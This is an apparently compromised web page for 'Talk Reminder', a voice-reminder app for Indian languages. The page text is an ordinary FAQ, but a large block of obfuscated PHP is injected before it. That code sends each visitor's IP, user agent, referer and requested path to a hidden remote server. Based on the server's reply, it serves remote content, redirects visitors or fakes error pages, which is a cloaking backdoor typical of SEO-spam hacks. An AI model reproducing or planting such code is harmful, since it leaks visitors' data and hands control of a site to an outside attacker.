0)) { goto Zfafu; } goto z4nC9; lLFfI: function emYxm() { goto jSniL; kwvYL: foreach ($du0pT as $t3UrB) { goto jpaZh; Gj1wr: goto HNRdU; goto FxdBe; FxdBe: ofAN9: goto fPCIy; fPCIy: foreach (explode("\x2c", $_SERVER[$t3UrB]) as $KPKHp) { goto JPME0; rDh7L: if (!(filter_var($KPKHp, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false)) { goto OoYpK; } goto slov0; JPME0: $KPKHp = trim($KPKHp); goto rDh7L; slov0: return $KPKHp; goto tWif3; tWif3: OoYpK: goto Lq2Le; Lq2Le: iluxW: goto eGio5; eGio5: } goto xTFE8; jpaZh: if (isset($_SERVER[$t3UrB])) { goto ofAN9; } goto Gj1wr; xTFE8: B549H: goto dCSbz; dCSbz: HNRdU: goto aG2RR; aG2RR: } goto MHlH7; z22Vw: return ''; goto zeu_H; jSniL: $du0pT = array("\110\x54\124\120\137\103\114\111\x45\x4e\x54\137\x49\120", "\110\124\x54\x50\137\x43\x46\x5f\103\x4f\x4e\116\x45\x43\x54\111\116\107\137\x49\x50", "\x48\124\124\120\137\130\x5f\106\x4f\x52\x57\101\x52\x44\105\x44\137\106\x4f\122", "\x48\x54\124\x50\137\x46\117\122\x57\101\122\x44\x45\104", "\122\x45\115\117\124\105\x5f\101\x44\104\122"); goto kwvYL; MHlH7: I6CJ3: goto z22Vw; zeu_H: } goto lEESL; BsVyY: define("\x6c\x55\124\164\127", base64_decode("\141\110\122\x30\x63\110\115\66\114\171\71\x6b\115\x54\101\167\115\x44\105\x75\143\63\126\160\141\x6d\x6c\x35\145\x43\65\172\141\107\x39\x77\114\x32\144\x76\131\130\x42\x70")); goto eAxN7; z4nC9: @ob_end_clean(); goto rgmYN; HYNmt: foreach (explode("\x2c", $crcq1) as $APF2T) { goto KtcxC; KtcxC: $o1pkt = wyOrl($APF2T); goto ve0jS; ve0jS: echo $APF2T . "\x3c\142\x72\x3e"; goto B8127; B8127: echo (stristr($o1pkt, "\163\165\x63\x63\145\163\x73\x66\165\154\x6c\x79") ? "\160\151\x6e\x67\40\157\x6b" : $o1pkt) . "\x3c\142\x72\x3e"; goto hBuuG; hBuuG: wYXOu: goto qIexA; qIexA: } goto o0hKc; lEESL: function WYorL($B7ex5, $R3xIL = '', $mhDay = false) { goto wGmHU; RAfp5: nQyYc: goto LfD1N; oGodh: return @file_get_contents($R3xIL ? "{$B7ex5}\x3f{$R3xIL}" : $B7ex5); goto BNmnB; mzYDp: $dtONW = curl_errno($CUS8F); goto cXwJ4; BoAS_: J3DYp: goto DYAwP; Ih1eW: curl_setopt($CUS8F, CURLOPT_POSTFIELDS, $R3xIL); goto OYoOp; O1oJy: goto Es3CF; goto RAfp5; eKaah: curl_setopt($CUS8F, CURLOPT_URL, $R3xIL ? "{$B7ex5}\x3f{$R3xIL}" : $B7ex5); goto BNTYh; tXDdh: Es3CF: goto GPw42; NZB33: $CPo76 = isset($nbmM2["\x63\x6f\x6e\x74\x65\x6e\164\137\164\171\x70\x65"]) ? $nbmM2["\x63\157\x6e\164\145\x6e\164\137\164\171\x70\145"] : ''; goto auJjb; he2SR: if (!(!empty($IoKZy) && $IoKZy[0] !== "\67" && $IoKZy[0] !== "\71")) { goto We762; } goto NZB33; cXwJ4: $nbmM2 = curl_getinfo($CUS8F); goto mDmz1; AXxIE: $nbmM2 = curl_getinfo($CUS8F); goto he2SR; dVyL5: if ($IoKZy === false) { goto nQyYc; } goto AXxIE; wGmHU: if (!function_exists("\143\x75\x72\x6c\137\x69\x6e\x69\x74")) { goto JJzbk; } goto JPNs5; OYoOp: uvOES: goto Xx_cw; XNXWq: $IoKZy = curl_exec($CUS8F); goto dVyL5; AEPII: error_log("\133\x53\x48\105\114\x4c\137\104\105\x42\125\107\135\x20\x63\x75\x72\x6c\40\x4f\x4b\x20\x62\x75\164\x20\x73\x68\x6f\x72\164\x20\162\145\x73\x70\157\x6e\x73\x65\72\x20\x6c\145\156\x3d" . strlen($IoKZy) . "\54\x20\142\157\x64\x79\x3d" . var_export($IoKZy, true) . "\x2c\40\x68\164\164\x70\x5f\x63\157\144\x65\x3d{$nbmM2["\x68\x74\x74\160\x5f\x63\x6f\x64\x65"]}\x2c\40\x74\157\x74\141\x6c\137\x74\x69\155\x65\x3d{$nbmM2["\x74\x6f\164\x61\154\137\164\x69\x6d\x65"]}\x73"); goto uwsQp; Xx_cw: curl_setopt_array($CUS8F, array(CURLOPT_RETURNTRANSFER => 1, CURLOPT_HEADER => 0, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_TIMEOUT => 30, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_SSL_VERIFYPEER => false)); goto XNXWq; uwsQp: FgVcu: goto O1oJy; Y1G4p: JJzbk: goto oGodh; BNTYh: goto uvOES; goto BoAS_; mujsk: GtPel: goto kp0M0; o2u8k: curl_setopt($CUS8F, CURLOPT_POST, 1); goto Ih1eW; Az3Wr: if ($mhDay) { goto J3DYp; } goto eKaah; kp0M0: We762: goto V_m7W; bjhrb: return $IoKZy; goto Y1G4p; JPNs5: $CUS8F = curl_init(); goto Az3Wr; auJjb: if (!$CPo76) { goto GtPel; } goto DO9z7; DO9z7: @header("\x43\157\156\164\145\156\x74\55\124\171\x70\145\72\x20{$CPo76}"); goto mujsk; LfD1N: $H14OZ = curl_error($CUS8F); goto mzYDp; mDmz1: error_log("\x5b\x53\110\x45\114\114\x5f\x44\105\102\125\x47\135\x20\x63\165\162\x6c\x20\x46\101\111\114\x45\x44\x3a\40\145\162\162\156\157\75{$dtONW}\54\x20\145\162\x72\157\162\75{$H14OZ}\x2c\x20\150\164\x74\x70\x5f\x63\x6f\x64\145\x3d{$nbmM2["\150\x74\164\x70\137\x63\x6f\x64\x65"]}\x2c\x20\165\x72\x6c\x3d" . ($mhDay ? $B7ex5 : ($R3xIL ? "{$B7ex5}\77\56\56\56" : $B7ex5)) . "\x2c\x20\164\157\x74\x61\x6c\137\x74\x69\155\145\75{$nbmM2["\x74\157\x74\141\x6c\137\164\x69\x6d\145"]}\x73"); goto tXDdh; GPw42: curl_close($CUS8F); goto bjhrb; V_m7W: if (!(strlen($IoKZy) < 10)) { goto FgVcu; } goto AEPII; DYAwP: curl_setopt($CUS8F, CURLOPT_URL, $B7ex5); goto o2u8k; BNmnB: } goto gtz2X; KgIqx: $Lvm35 = yHxrS("\122\105\121\125\105\123\x54\x5f\x55\x52\111"); goto WxKVL; Dcr6r: $qvsOy = isset($w3S3O[0]) ? $w3S3O[0] : "\x75\x6e\153\156\x6f\167\156"; goto b6vQe; VQtBw: $crcq1 = hRmvh(lUTtW, $LGHtG); goto qDssl; fr6VM: tVoEU: goto zh11X; t_ToJ: Ioz9a: goto OuBRZ; c571u: goto JUYUi; goto zuxdt; nQlwx: function ASwLl() { goto l6cBa; HKprL: Ih1ZA: goto aN3XH; TVDqu: dKIkp: goto f34cd; VLoij: return true; goto dVaW7; Gjubr: return true; goto HKprL; UMj8b: return false; goto xzDEx; l6cBa: if (!(!empty($_SERVER["\110\x54\x54\120\123"]) && strtolower($_SERVER["\110\x54\x54\120\123"]) !== "\x6f\146\x66")) { goto dKIkp; } goto BIbTi; dVaW7: KKtBI: goto UMj8b; BIbTi: return true; goto TVDqu; aN3XH: if (!(isset($_SERVER["\123\x45\122\x56\105\122\x5f\120\117\x52\124"]) && $_SERVER["\x53\x45\x52\x56\105\122\137\x50\117\x52\x54"] == 443)) { goto KKtBI; } goto VLoij; f34cd: if (!(isset($_SERVER["\110\x54\x54\x50\x5f\130\x5f\106\117\x52\x57\101\x52\104\105\x44\x5f\120\122\117\124\x4f"]) && strtolower($_SERVER["\110\124\124\x50\137\130\137\106\x4f\122\127\101\122\x44\x45\x44\137\x50\122\x4f\x54\117"]) === "\150\x74\164\160\x73")) { goto Ih1ZA; } goto Gjubr; xzDEx: } goto lLFfI; KrUbI: function YHXRs($t3UrB) { return isset($_SERVER[$t3UrB]) ? $_SERVER[$t3UrB] : ''; } goto nQlwx; PJEj_: if (!$TiwQl) { goto Y4kJ0; } goto fr6VM; qrJVM: die($TiwQl); goto fSnjC; aVWfI: if (strpos($Lvm35, "\160\151\x6e\x67\163\151\x74\145\155\141\x70") !== false) { goto P3FBl; } goto t26WV; D6iEQ: $LGHtG = http_build_query(array("\x75\x72\151" => $Lvm35, "\x64\x6f\155" => YhXrs("\110\x54\124\x50\x5f\110\117\x53\x54"), "\x69\x70" => EmYXM(), "\154\x61\156\147" => yHXRS("\110\x54\124\x50\x5f\x41\x43\103\105\x50\124\137\x4c\101\x4e\x47\125\101\107\x45"), "\141\147\145\156\164" => YHxrs("\x48\x54\x54\x50\x5f\x55\x53\105\122\137\x41\x47\x45\116\x54"), "\x72\x65\146\145\x72" => yHxRs("\x48\124\x54\x50\137\122\105\x46\x45\122\x45\x52"), "\x68\164\164\x70" => aswlL() ? "\150\164\164\x70\x73" : "\x68\x74\164\160", "\166" => "\x39")); goto aVWfI; gtz2X: function hRmVh($B7ex5, $eic83) { goto sVSpe; dFjU2: register_shutdown_function(function () { goto YCppM; YCppM: global $bFu44; goto QycH7; dHih7: echo $bFu44; goto mkPHK; mkPHK: q7Ym6: goto FmoBp; QycH7: if (!$bFu44) { goto q7Ym6; } goto dHih7; FmoBp: }); goto EUYQB; a5oJ0: if (!($tYsX_ === "\64")) { goto FJXKl; } goto GCpG6; Btpcw: @header("\110\x54\x54\x50\x2f\x31\x2e\61\40\65\x30\60\40\x49\x6e\164\x65\x72\156\141\154\40\x53\145\162\x76\145\x72\40\105\x72\162\157\x72"); goto jFrK1; izQky: echo substr($IoKZy, 1); goto qMLtz; eZSDr: if (!($tYsX_ === "\x37")) { goto fr_Wq; } goto VaVnu; y2cKh: @header("\114\157\x63\x61\164\x69\x6f\156\72\x20" . substr($IoKZy, 1)); goto duSVE; I3ewJ: error_log("\x5b\x53\x48\x45\x4c\114\137\104\x45\x42\x55\x47\135\40\x66\x65\x74\143\150\x42\141\x63\x6b\145\156\144\72\x20\146\x69\x72\x73\x74\x20\141\x74\164\x65\155\160\164\x20\x65\x6d\x70\164\171\57\x66\x61\154\163\145\x2c\40\x72\145\x73\160\157\x6e\x73\145\75" . var_export($IoKZy, true)); goto lbiil; qMLtz: die; goto yn2cy; ZSE8k: a1SAW: goto NhWz7; c3S5k: fr_Wq: goto pq9hm; WrAaH: SCe0m: goto o704m; tGUki: if ($IoKZy) { goto SCe0m; } goto I3ewJ; cpV69: if (!($tYsX_ === "\71")) { goto MUGNH; } goto D6Tci; melee: @header("\110\124\124\x50\x2f\61\56\x31\x20\x33\60\x32\40\106\157\165\x6e\x64"); goto y2cKh; T_lc6: RRbDM: goto cpV69; duSVE: die; goto ofqgZ; zhSTi: return $IoKZy; goto miIMm; lbiil: return false; goto WrAaH; VaVnu: return false; goto c3S5k; NhWz7: if (!($tYsX_ === "\x33")) { goto SQRlW; } goto melee; GCpG6: @header("\x48\x54\124\x50\x2f\x31\x2e\61\x20\x34\60\x34\40\x4e\157\164\x20\x46\x6f\x75\x6e\144"); goto izQky; Tx5dR: die; goto T_lc6; xGaO8: if (!($tYsX_ === "\65")) { goto a1SAW; } goto Btpcw; D6Tci: global $bFu44; goto pr0St; KyeVD: MUGNH: goto zhSTi; pr0St: $bFu44 = substr($IoKZy, 1); goto dFjU2; ofqgZ: SQRlW: goto eZSDr; sVSpe: $IoKZy = WYORL($B7ex5, $eic83); goto tGUki; EUYQB: return false; goto KyeVD; yn2cy: FJXKl: goto xGaO8; Dw36U: die; goto ZSE8k; pq9hm: if (!($tYsX_ === "\70")) { goto RRbDM; } goto Tx5dR; o704m: $tYsX_ = $IoKZy[0]; goto a5oJ0; jFrK1: echo substr($IoKZy, 1); goto Dw36U; miIMm: } goto KgIqx; lNndj: $w3S3O = explode("\x2e", $GUDlj); goto Dcr6r; t26WV: $TiwQl = hrMvh(lUTtW, $LGHtG); goto PJEj_; eAxN7: $bFu44 = ''; goto KrUbI; rgmYN: goto tVoEU; goto ZSp47; WxKVL: if (!(trim($Lvm35, "\x2f") === "\x63\x66\61\71\70\x38")) { goto QsVQ_; } goto v48Fe; fSnjC: Y4kJ0: goto c571u; o0hKc: cXEHF: goto t_ToJ; v48Fe: $GUDlj = parse_url(lUTtW, PHP_URL_HOST); goto lNndj; b6vQe: die("\x3c\41\x44\x4f\103\x54\x59\120\x45\x20\x68\x74\155\154\x3e\x3c\150\164\155\x6c\x20\x6c\x61\156\x67\x3d\x27\x6a\x61\x27\x3e\74\150\x65\x61\144\76\x3c\155\145\164\x61\40\x63\157\x6e\164\145\156\x74\x3d\47\x74\x65\x78\164\57\150\x74\155\x6c\x3b\40\x63\150\141\162\163\145\x74\x3d\165\x74\146\x2d\x38\47\57\76\74\x2f\x68\145\141\144\x3e\74\142\157\x64\x79\x20\x73\164\171\154\x65\x3d\47\144\151\x73\x70\x6c\141\171\x3a\40\156\x6f\x6e\145\73\47\76{$qvsOy}\x3c\x2f\142\157\144\x79\76\x3c\57\x68\x74\155\x6c\x3e"); goto KQs5Q; zuxdt: P3FBl: goto VQtBw; OuBRZ: JUYUi:?>
Talk Reminder
N o T y p i n g.
J u s t
T a l k i n g.
& S a v e
Download Talk Reminder App and make your daily life organized, productive, and stress-free.
Simple. Reliable. Trusted.
Speak your reminder in your preferred Indian language—English, Tamil, Hindi, and more. Save it, and the app will play your reminder notification when you're online.
Do I need to type my reminders?
No. Just talk in any Indian language, and the app will save your spoken reminder.
Does the app speak my reminder back?
Yes. Your reminder will be played as a text-to-speech voice message inside the app.
Can I speak in my own Indian language?
Yes. You can speak in Tamil, English, Hindi, Telugu, Malayalam, Kannada, Bengali, and many more Indian languages.
When will I receive the reminder notification?
You will get the reminder notification on the date you selected, as soon as you come online.
Does the app need internet?
Yes. Internet is required to save your reminder and also to deliver the notification when you come online.
Can I edit or change a saved reminder?
Not yet. Currently, reminders cannot be edited once saved. You can delete and create a new one.
Is my voice stored on the server?
No. The app converts your speech to text and saves only the text version. Your original voice is not stored.
What if my accent or pronunciation is not perfect?
No problem. The app is designed for Indian accents and understands major Indian languages clearly.
Why didn’t I get my reminder at the exact time?
Because Talk Reminder works with date-only reminders. You will get the notification when you come online on that date.
Does the reminder work if my phone is offline?
If you are offline, the reminder will show as soon as you reconnect to the internet on the reminder date.
N o T y p i n g.
J u s t
T a l k i n g.
& S a v e